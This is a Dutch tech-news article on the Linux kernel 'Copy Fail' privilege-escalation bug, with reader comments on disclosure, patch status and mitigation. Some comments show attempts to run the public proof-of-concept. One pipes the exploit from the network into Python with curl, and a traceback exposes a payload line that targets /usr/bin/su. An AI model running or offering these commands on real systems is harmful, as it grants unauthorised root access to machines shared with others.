Copy Fail-bug kan met klein Python-script root op meeste Linux-distro's krijgen

Beveiligingsonderzoekers hebben een ernstige kwetsbaarheid gevonden in de Linux-kernel, waarmee het mogelijk is rootrechten te krijgen op de meeste distro's. De bug heet Copy Fail en heeft inmiddels een patch. Copy Fail valt vooral op vanwege het gemak waarmee die kan worden uitgevoerd als een aanvaller lokale rechten heeft.

Copy Fail is een kwetsbaarheid in Linux-kernel 4.14 en hoger, een versie die in 2017 uitkwam. De kwetsbaarheid wordt getrackt als CVE-2026-31431 en werd ontdekt door beveiligingsonderzoekers van Theori, die Xint Code maken. De onderzoekers hebben naast een aparte website ook een technische write-up geschreven. Saillant detail aan de bug is dat de onderzoekers zeggen dat die door hun AI-tool is ontdekt, of beter gezegd, dat AI daarnaar op zoek ging nadat een onderzoeker zich verdiepte in een bepaald onderdeel van de kernel, al klinkt die anekdote alsof het bedoeld is om de codescanner onder de aandacht te brengen.

Dat neemt niet weg dat Copy Fail een vrij ernstige en potentieel gevaarlijke kwetsbaarheid is. Het gaat om een privilege escalation waarmee het mogelijk is eenvoudig roottoegang tot een volledig systeem te krijgen vanaf gebruikersrechten.

Een aanvaller hoeft daarvoor alleen een Python-script te gebruiken, dat volgens de onderzoekers slechts 732 bytes groot is.

Getest op Ubuntu, RHEL en SUSE

De onderzoekers hebben exploits succesvol getest op vier Linux-distro's: Ubuntu 24.04 LTS, RHEL 10.1, SUSE 16 en, om onduidelijke redenen, Amazon Linux 2023. Dat ging consistent goed, zeggen de ontdekkers. Ze hebben ook een proof-of-concept van de exploit online gezet, wat het eenvoudiger kan maken voor aanvallers om de bug in de praktijk uit te buiten. Volgens de onderzoekers zijn ook andere distro's kwetsbaar. Ze hebben een issuelijst op GitHub staan waarin gebruikers kunnen aangeven of andere distro's ook getroffen zijn. Daar worden nu distro's als Raspberry Pi OS, Fedora, Rocky Linux en Pop_OS genoemd.

De bug

De bug is een logic-bug in de cryptografische template authencesn in de kernel, specifiek in de algif_aead-module die in 2017 werd toegevoegd. Bij de aanval worden meerdere functies gecombineerd waarmee het voor een aanvaller mogelijk wordt code te schrijven naar de cache van een bestand in plaats van naar de buffer, waardoor een aanvaller zich meer rechten kan toeëigenen dan de bedoeling is.

De bug heeft volgens de ontdekkers daarmee wat weg van Dirty Pipe, een vergelijkbare exploit uit 2022 die ook rootrechten kon geven. Toch zijn er ook verschillen, met name in het gemak waarmee de bug kan worden ingezet. Zo was Dirty Pipe alleen van toepassing op een specifieke kernelversie waar bepaalde patches waren doorgevoerd, maar belangrijker, het script is kleiner en eenvoudiger uit te voeren.

Tegelijkertijd is de bug niet op afstand uit te voeren. Daarvoor hebben gebruikers wel lokale toegang nodig. Dat verkleint het risico enigszins.

Disclosure

De makers hebben hun bevindingen in maart aan het Linux-kernelteam laten weten. Die hebben inmiddels een patch doorgevoerd, maar individuele distro's moeten die wel nog doorvoeren. Sommige grote distro's zoals Ubuntu hebben publiek gezegd dat te repareren, maar er is geen definitieve lijst van alle distro's die zijn getroffen óf waarin de bug is bijgewerkt. Daarvoor moeten gebruikers dus zelf op zoek in de patchnotes van hun distro.

Reacties (49)

[The Zep Man]

Gebaseerd op de patch die dit introduceerde en de patch die dit wegneemt: een vuistregel is dat elke kernel gecompileerd tussen 9 augustus 2017 en 31 maart 2026 kwetsbaar is. Dit is een vuistregel omdat op een later moment natuurlijk een oudere (juist niet of wel kwetsbare) kernelversie gecompileerd kan worden, maar gezien de periode die dit beslaat is dit een goed te hanteren regel voor de komende jaren. Deze vuistregel helpt ook omdat er verschillende major versions van de kernel tegelijkertijd ondersteund worden, wat verwarring kan opleveren.

Om te weten wanneer je kernel gecompileerd is, draai in een shell:
uname -v

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:50]

[lenwar]

En zelfs dan weet je het niet zeker. Als de distroboer op dag 1 de code ophaalt bij kernel.org, en pas op dag 14 in een package uitbrengt, dan kun je nog steeds overlap hebben.

Al met al is het gewoon een goed idee om snel te patchen, nu dit bekend is.

[Kjoe_Ljan]

Snel patchen is altijd een goed idee.

[scsirob]

Daar zijn veel professionele organisaties het niet mee eens. Elke 'snelle' patch kan een regressie met veel grotere gevolgen veroorzaken. In gevallen als dit is mitigeren in productie en testen in de ontwikkelomgeving verstandig.

[The Zep Man]

Ik zou hiervan maken: zo snel mogelijk. Het is sowieso verstandig om een goed testtraject te hebben. Dit soort kwetsbaarheden zijn niet het enige risico.

[lenwar]

Ik zou hiervan maken: zo snel mogelijk.

Precies dit. En mogelijk is hier uiteraard 'Wanneer het ook daadwerkelijk 'kan''. Je kunt niet tegen een chirurg zeggen. Houd dat hart even je in je hand, we moeten een kernel-update uitvoeren . Of tegen een financiële instelling zeggen. "Die 47 miljard moet even 5 minuutjes later" worden doorgevoerd, ook al geeft internationale regelgeving je maar 35 seconden. (ik verzin maar wat.)

En inderdaad is een test- en controletraject ook belangrijk. (voor functionele consequenties)

[eheijnen]

In een geval als dit wel.

Maar doorgaans is het beter om de kat even uit de boom te kijken. Dan stap je vaak over slechte patches heen. Zoals bijvoorbeeld laatst met die reboot loop op Windows Controllers.

[divvid]

lijkt er op dat de ubunu update servers het zwaar hebben

Cannot initiate the connection to ppa.launchpad.net:80

[treris]

Jup, krijg hier ook time-outs en alles

[Regn0]

Gisteren updates geïnstalleerd op mijn Kubuntu installatie. Daar zat volgens mij nieuwe kernel met versie 6.18-111 tussen.

Nu probeer ik te achterhalen of daar al een fix in zit, echter liggen al meerdere uren bepaalde services van Canonical plat?

https://status.canonical.com

[ApexAlpha]

Het is echt schandalig om een exploit als deze zo online te gooien in een marketing campagne.

Distro's werden net zo verrast als de rest toen https://copy.fail ineens online kwam. Niet alleen kondigen ze de exploit aan: de code staat er al! 8 regels Python om ALLE Linux distro's te rooten.

En geen enkele distro was nog gepatched of wist het uberhaupt. Ik vind dat echt onverantwoord. Wie weet hoeveel 'shared hosting providers' gister zijn geowned hiermee.

Voor zover ik weet is er nog steeds geen patch voor o.a. RHEL systemen.

Gave exploit, dat dan zeker weer wel. Maar zorg aub dat er 'gewoon' een patch cyclus is geweest al. Het was over 4 weken net zo indrukwekkend geweest om aan te kondigen.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 08:17]

[Daniel304]

De exploit is gewoon netjes gerapporteerd en een maand later pas publiekelijk gepubliceerd. De laatste twee Debian kernels waren al gepatched. Van de website van copy.fail:

Coordinated Disclosure Timeline

Date Event
[2026-03-23] Vulnerability reported to Linux kernel security team
[2026-03-24] Initial acknowledgment received
[2026-03-25] Patches proposed and reviewed
[2026-04-01] Patches committed to mainline kernel
[2026-04-22] CVE-2026-31431 assigned
[2026-04-29] Public disclosure (this article)

[Reactie gewijzigd door Daniel304 op 1 mei 2026 08:36]

[The-Source]

Maar hoe kerken je zelf of je systeem is gepatched. Dat ik up to date ben met updates betekend niet automatisch dat de Distro zelf up to date is tegen deze bug.

[Loggedinasroot]

Er staat een script op https://copy.fail waarmee je kan kijken of je gepatched bent

[The-Source]

Nou er staat een script of je nog vatbaar ben. Ik ga hoe klein een script ook is dit niet zomaar draaien. En verder is de omschrijving op de site ook niet voor iedereen weg gelegd:

Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.

[elmuerte]

De laatste twee Debian kernels waren al gepatched

Debian stable is past vanacht gepatched. Forky is Debian testing. Het is niet responsible als de grote Linux vendors nog geen patches klaar hebben staan, en dat wisten ze.

[Reactie gewijzigd door elmuerte op 1 mei 2026 08:43]

[The Zep Man]

Het is echt schandalig om een exploit als deze zo online te gooien in een marketing campagne.

Beter dat dan een exploit voor jezelf houden en/of op het darkweb verkopen. Nu is de wereld wakker geschud en wordt men weer herinnerd dat op tijd updates uitvoeren belangrijk is.

Het is overigens niet het einde van de wereld. Het is een local privilege escalation. Als iemand zonder toestemming/beheer unprivileged code kan uitvoeren, dan moet je al aannemen dat dat systeem gecompromitteerd is. Al is het niet deze kwetsbaarheid, dan is het mettertijd wel een ander die langskomt. Tijdig updates draaien is het advies om deze tussenbeveiligingslaag weer te versterken is het standaard advies.

Dit zet wel de deur open om bijvoorbeeld oudere, niet meer ondersteunde Android-apparaten "universeel" te rooten. Dat is dan weer fijn om de afvalberg weer een beetje te verkleinen.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:21]

[ApexAlpha]

Als iemand zonder toestemming/beheer unprivileged code kan uitvoeren, dan moet je al aannemen dat dat systeem gecompromitteerd is.

Dit is een beetje raar, heel veel diensten delen Linux bakken. Denk alleen al aan shared webhosting waar je Wordpress draait onder een lage user terwijl andere gebruikers er ook draaien.

En reken er ook maar op dat deze exploit direct in alle Supply Chain Attacks zit, nu al. Dus daar heb je je RCE al.

Ik vind het onverantwoord. Je kan de distro's toch wel inlichten zodat er een patch klaar is op zijn minst.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 08:23]

[The Zep Man]

Denk alleen al aan shared webhosting waar je Wordpress draait onder een lage user terwijl andere gebruikers er ook draaien.

Anno 2026 Wordpress voor meerdere klanten draaien op dezelfde (virtuele) machine is vragen om problemen op heel veel niveaus.

[ApexAlpha]

Leuk zo een puristische houding maar dat neemt niet weg dat het wel heel veel gebeurt in de praktijk en dat het vrijgeven van zo een exploit dus nogal riskant is.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 08:26]

[The Zep Man]

Nergens schrijf ik dat het niet riskant is. Ik schrijf wel dat het veel erger had kunnen zijn en dat het niet het einde van de wereld is voor degenen die best security practices toepassen (juiste segmentatie, tijdig updates uitvoeren, etc.).

Als een partij hierdoor in paniek raakt, dan heeft die partij andere zaken niet op orde. Don't blame the messenger is een verstandig advies omdat het niet productief is, ook al is degene die het bericht geeft niet echt netjes in hoe die zijn werk doet.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:38]

[ApexAlpha]

'tijdig updates uitvoeren'.

Lekker dan als iemand een exploit online gooit zonder de distro's tijd te geven een update uberhaupt klaar te zetten.

Hoe helpt dat hier dan?

[The Zep Man]

"Tijdig" houdt niet in "meteen, ook al kan het nog niet". Daarom heb je juist segmentatie. Dat mitigeert het risico.

Nadat de patch in de Linux kernel is opgenomen duurde het nog bijna een maand voordat de kwetsbaarheid publiekelijk werd gemaakt. Als men tijdig updates draait en de gebruikte distributie dan nog niet een adequate kernel update aanbiedt, dan is het tijd om een andere distributie te kiezen.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:40]

[foobar79]

en de gebruikte distributie dan nog niet een adequate kernel update aanbiedt, dan is het tijd om een andere distributie te kiezen

Ehh, er is zijn zat goede redenen om niet zo dicht de main kernel te volgen.
Het hele model van o.a. RedHat is er op gebaseerd dat ze een stabiel platform leveren zodat je met grote zekerheid een kernel update kan draaien zonder dat er vervolgens van alles omvalt (bv geen ABI brekerende dingen in kernel patches tenzij het echt niet anders kan ivm een security issue)
Dat is vervolgens weer belangrijk voor andere software en hardware leveranciers die hun applicatie of hardware bv alleen maar op RedHat certificeren.

[The Zep Man]

Ehh, er is zijn zat goede redenen om niet zo dicht de main kernel te volgen.

En in die beredenering neemt men natuurlijk andere mitigerende maatregelen mee om het effect van openstaande kwetsbaarheden te mitigeren. In dat soort situaties is er weinig reden voor paniek.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 09:18]

[Aganim]

Nu is de wereld wakker geschud en wordt men weer herinnerd dat op tijd updates uitvoeren belangrijk is.

Alleen hadden de meeste distro's nog geen bijgewerkte kernel beschikbaar, en al helemaal niet voor de kernel versies waar deze patch naar gebackport moet worden. Dus er viel niets te updaten, alleen te mitigeren dmv de work-around die de onderzoekers aanbieden op hun website.

[The Zep Man]

Alleen hadden de meeste distro's nog geen bijgewerkte kernel beschikbaar, en al helemaal niet voor de kernel versies waar deze patch naar gebackport moet worden.

De patch werd op 31 maart 2026 aan de kernel toegevoegd. De exploit kwam eergisteren uit. Distributies hadden zat tijd om ondersteunde upstream code door te voeren.

Bij het afhankelijk zijn van backports en tragere distributies (zoals Debian stable) accepteert men een risico m.b.t. dat het langer kan duren voordat security patches beschikbaar zijn. Dat risico kan op andere manieren gemitigeerd worden, zoals met segmentatie.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 09:02]

[lenwar]

Ze hebben het meer dan een maand geleden aan de kernel-maintainer gestuurd die het gepatched heeft.

Dit is een CVE 7.8, je zou mogen verwachten dat dit wat sneller wordt opgepakt door alle partijen in deze tijd van exploits, malware en ransomware.

Zeker een partij als Red Hat. Bedrijven betalen goed geld voor hun spul.

[ApexAlpha]

De kernel maintainer heeft geen contact met de distro, RedHat kwam er samen met ons pas achter blijkbaar.

[Lagonas]

Dat lijkt me niet helemaal de waarheid gezien ze hem zelf op 22 April hebben gepost, en de website eergisteren online is gekomen. CVE-2026-31431 - Red Hat Customer Portal, en ook hebben ze nog een security bulletin gepost; RHSB-2026-02 Cryptographic Subsystem Privilege Escalation- Linux Kernel - (CVE-2026-31431) | Red Hat Customer Portal

[Reactie gewijzigd door Lagonas op 1 mei 2026 08:48]

[ApexAlpha]

https://www.openwall.com/lists/oss-security/2026/04/30/10

Note that for Linux kernel vulnerabilities, unless the reporter chooses
to bring it to the linux-distros ML, there is no heads-up to
distributions.

It did not happen here.

Hier direct van een mainter van Gentoo. Hier een mailwisseling met de maintainer van Linux: https://www.openwall.com/lists/oss-security/2026/05/01/3

[Lagonas]

Ja, ik denk dat hier een misverstand is.

RedHat kwam er samen met ons pas achter blijkbaar.

Ik reageer specifiek op jouw claim dat redhat van niks wist tot het domein actief ging en dat dat in mijn beeld niet klopt.

[Reactie gewijzigd door Lagonas op 1 mei 2026 09:08]

[Gunner]

Hoe kan je zien dat je de patch aangeboden krijgt? Gewoon via apt update?

[specs2021]

De patch lijkt gisteren verwerkt in 6.12.85 en 6.18.26. Ik verwacht de updates snel via security in de reguliere distributies.

Check de changelog voor bijvoorbeeld de mainstream 6.18.26 update (weinig behalve crypto):

https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.18.26

[ApexAlpha]

Ja

[Domino]

Voor Debian, en ik neem aan op Debian gebaseerde distro's, moet je wel de debian-security repo in je sources.list hebben staan.

Patch is inmiddels beschikbaar: Kernel: Linux 6.12.85+deb13-amd64

[dasiro]

Een paar weken terug hadden we al een privilege escalation naar SYSTEM in Windows en nu een privilege escalation naar ROOT in Linux.

Telkens op oudere onderdelen, wat het belang van constante en volledige code-reviews nog maar eens onderstreept. Het is pijnlijk duidelijk aan het worden dat het menselijke brein niet meer in staat is om zijn eigen creaties goed te onderhouden en AI-tools met een grote context niet meer gewoon nodig zijn, maar bijna een vereiste om je met dezelfde wapens te kunnen verdedigen als waarmee aanvallers (potentieel kunnen) werken.

[osmosis]

"en, om onduidelijke redenen, Amazon Linux 2023"


Zover ik weet draait AWS daarop, aangezien heel veel grote services afhankelijk zijn van AWS lijkt het mij een best interessante OS om te targetten met deze exploit.

Misschien zit ik fout maar...

[eirreb]

tot mijnn weten was er geen Patch nog gisteren, enkel een Temporary Mitigation
CERT-EU - High Vulnerability in the Linux Kernel ("Copy Fail")

ik begrijp overstappen naar nieuwe kernel de oplossing is, maar welke versie was nog niet duidelijk na mijn ervaring.

[StGermain]

• Toevallig gisteren nog een docu gezien over Mythos, een AI die verduiveld sterk is in het opsporen van kwetsbaarheden in software. Toeval dat zowel windows als linux nu in korte tijd hiermee te maken krijgen?

[PolarBear]

Het is makkelijker om bugs/kwetsbaarheden te vinden. Dit was ook wel opgevallen als een mens een code review had gedaan. Alleen deze code zat er al een tijd in, het aantal mensen wat dit soort bugs kan vinden is beperkt. Dus blijft het een hele tijd onder de radar totdat iemand er tegen aan loopt.

[specs2021]

Kennelijk doe ik iets fout, later maar eens uitzoeken wat:

$ ./copy-fail.py

Traceback (most recent call last):

File "/home/user/git/copy-fail/./copy-fail.py", line 8, in <module>

f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

PermissionError: [Errno 13] Permission denied: '/usr/bin/su'

Getest op een 6.12.83 (dus beide voor de crypto fix). En de gebruiker heeft rechten voor "su". Misschien zijn de default kernels te permissive? En is de oplossing zelf je kernel te configueren en overbodige opties uit te zetten? (Security by obscurity help misschien in enkele gevallen?)

Ik ben niet goed genoeg te beweren dat mijn kernels 100% veilig zijn, hooguit "een streepje beter dan de default".

[Reactie gewijzigd door specs2021 op 1 mei 2026 08:55]

[eirreb]

gebruik je de poc van https://copy.fail/ ?

[specs2021]

Ik ben niet goed genoeg om een eigen PoC te schrijven, dus ja.

Misschien een kleine toelichting:

Als je een kernel configureert kun je veel ovebodige drivers weglaten. Daarnaast zijn er enkele optimalisaties voor performance en veilighied. Soms kies ik daarbij voor performance, maar soms zet ik ook functionaliteit uit puur op gevoel. Sommige opties klinken gewoon te mooi om veilig extra performance te bieden en dan kost dat misschien een paar % snelheid.

Ik kan eens testen of het wel werkt met defconfig. Later.

[Reactie gewijzigd door specs2021 op 1 mei 2026 09:03]

[divvid]

Op geen van mijn systemen lijkt het te werken ondanks diverse zgn vulnerable kernels.

(wat niet wil zeggen dat het geen probleem is)

Getest: Ubuntu 22.04, 5.15.0-176-generic, met Python 3.10.14, openSuse 5.14.21-150400.24.100-default, Python 3.10.14
Het enige redhat like systeem had alleen python 3.13. werkt ook niet. (Rocky linux 9)

[Cartman!]

Mijn NUC draait op Ubuntu 20.04.6 LTS en daar werkt het ook niet:

cartman@nuc:~$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 9137 0 --:--:-- --:--:-- --:--:-- 9253
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'

Hopelijk is het toch minder erg als er ook meldingen komen dat het niet werkt. Is al een issue voor aangemaakt zie ik.

Update; het script kan wel aangepast worden zodat het hier wel langs komt.

[Reactie gewijzigd door Cartman! op 1 mei 2026 09:12]

[Bedge85]

om onduidelijke redenen, Amazon Linux 2023

Ik vermoed dat ze de exploit en voor de proof of concept AWS hebben gebruikt. Als je kijkt naar Ubuntu 24.04 kernel, dan is dat 6.17.0-1007-aws, dus getest op een Ubuntu machine die in AWS draait.

Met Ubuntue, RHEL, SUSE en Amazon Linux 2023 heb je de 4 meest populaire distributies binnen AWS. Amazon Linux 2023 is echt groot binnen AWS, het is de standaard distributie die gebruikt wordt tenzij je bijvoorbeeld zelf een afwijkende keuze maakt voor een VM besturingssysteem.

[Reactie gewijzigd door Bedge85 op 1 mei 2026 09:16]